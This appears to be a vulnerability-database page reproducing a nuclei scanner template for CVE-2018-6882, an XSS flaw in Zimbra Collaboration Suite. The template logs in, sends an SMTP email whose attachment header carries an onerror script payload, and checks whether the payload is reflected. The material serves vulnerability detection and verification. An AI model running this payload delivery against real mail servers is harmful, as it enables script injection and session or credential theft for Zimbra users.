Lucene search
K

Zimbra Collaboration Suite - Cross-site Scripting

🗓️ 22 Jun 2026 05:20:07Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 15 Views

XSS vulnerability in Zimbra Collaboration Suite via attachment Content-Location header (CVE-2018-6882).

Related
Refs
Code
id: CVE-2018-6882

info:
  name: Zimbra Collaboration Suite - Cross-site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in the ZmMailMsgView.getAttachmentLinkHtml function in Zimbra Collaboration Suite (ZCS) before 8.7 Patch 1 and 8.8.x before 8.8.7 might allow remote attackers to inject arbitrary web script or HTML via a Content-Location header in an email attachment.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers via malicious email attachments, potentially stealing session cookies, credentials, or accessing sensitive email data.
  remediation: |
    Upgrade to Zimbra Collaboration Suite version 8.7 Patch 1 or 8.8.7 or later.
  reference:
    - https://www.securify.nl/advisory/SFY20180101/cross-site-scripting-vulnerability-in-zimbra-collaboration-suite-due-to-the-way-it-handles-attachment-links.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.8
    cve-id: CVE-2018-6882
    epss-score: 0.23717
    epss-percentile: 0.97529
    cwe-id: CWE-79
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: zimbra
    product: collaboration_server
  tags: cve,cve2018,smtp,zimbra,collaboration-server,intrusive,xss,kev,vkev

flow: http(1) && tcp(1) && http(2) && http(3)

variables:
  mail: "{{mail}}"
  pass: "{{pass}}"
  user: "{{user}}"
  base: "{{interactsh-url}}"

http:
  - raw:
      - |
        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        name: version
        regex:
          - 'CLIENT_VERSION",\s*\{[^}]*defaultValue:"(?:8\.7\.(?:0|5|11)|8\.8\.(?:0|6))(?:_GA_[0-9]+)?"'
        part: body

      - type: dsl
        name: zimbra-detect
        condition: and
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Zimbra Collaboration Suite")'

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: ZM_TEST=true

        loginOp=login&username={{user}}&password={{pass}}&client=preferred

    redirects: true
    extractors:
      - type: regex
        name: csrf
        part: body
        regex:
          - 'window\.csrfToken\s*=\s*"([^"]+)"'
        internal: true
        group: 1

      - type: regex
        name: session
        part: body
        regex:
          - '"session":\s*\{"id":"([0-9]+)"'
        internal: true
        group: 1
    cookie-reuse: true

  - raw:
      - |
        POST /service/soap/SearchConvRequest HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml; charset=UTF-8
        X-Zimbra-Csrf-Token: {{csrf}}

        {"Header":{"context":{"_jsns":"urn:zimbra","userAgent":{"name":"ZimbraWebClient - FF128 (Linux)","version":"8.7.11_GA_1854"},"session":{"_content":"{{session}}","id":{{session}}},"account":{"_content":"{{mail}}","by":"name"},"csrfToken":"{{csrf}}"}},"Body":{"SearchConvRequest":{"_jsns":"urn:zimbraMail","sortBy":"dateDesc","header":[{"n":"List-ID"},{"n":"X-Zimbra-DL"},{"n":"IN-REPLY-TO"}],"tz":{"id":"Asia/Kolkata"},"locale":{"_content":"en_US"},"offset":0,"limit":250,"query":"in:inbox","cid":"-257","fetch":"u!","html":1,"needExp":1,"max":250000,"recip":"2"}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "onerror=alert(document.domain)")'
          - 'contains(content_type, "text/javascript")'
        condition: and

tcp:
  - host:
      - "{{Hostname}}"
    port: 25

    inputs:
      - read: 1024

      - data: "EHLO {{base}}\r\n"
        read: 1024

      - data: "MAIL FROM:<{{mail}}>\r\n"
        read: 1024

      - data: "RCPT TO:<{{mail}}>\r\n"
        read: 1024

      - data: "DATA\r\n"
        read: 1024

      - data: |
          From: {{mail}}
          To: {{mail}}
          Subject: Test Subject
          MIME-Version: 1.0
          Content-Type: multipart/mixed; boundary="BOUNDARY_12345"

          --BOUNDARY_12345
          Content-Type: text/plain; charset="utf-8"

          Check the attachment

          --BOUNDARY_12345
          Content-Type: text/plain; name="attachment.txt"
          Content-Transfer-Encoding: base64
          Content-Disposition: attachment; filename="attachment.txt"
          Content-Location: http://foo.bar'></a><img src=a onerror=alert(document.domain)>

          YXR0YWNobWVudAo=
          --BOUNDARY_12345--
          .
        read: 1024

      - data: "QUIT\r\n"
        read: 1024
# digest: 4b0a00483046022100b629106167fa2cfec088a1980f2b5a0ec95c89a2f7f510a1c53d72ae88376266022100895d315b3a43340a979ba950c2f5dd2fd1627857e93fe4cb1119e87a6f41ad89:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.1High risk
Vulners AI Score7.1
CVSS 24.3
CVSS 3.16.1
EPSS0.23717
SSVC
15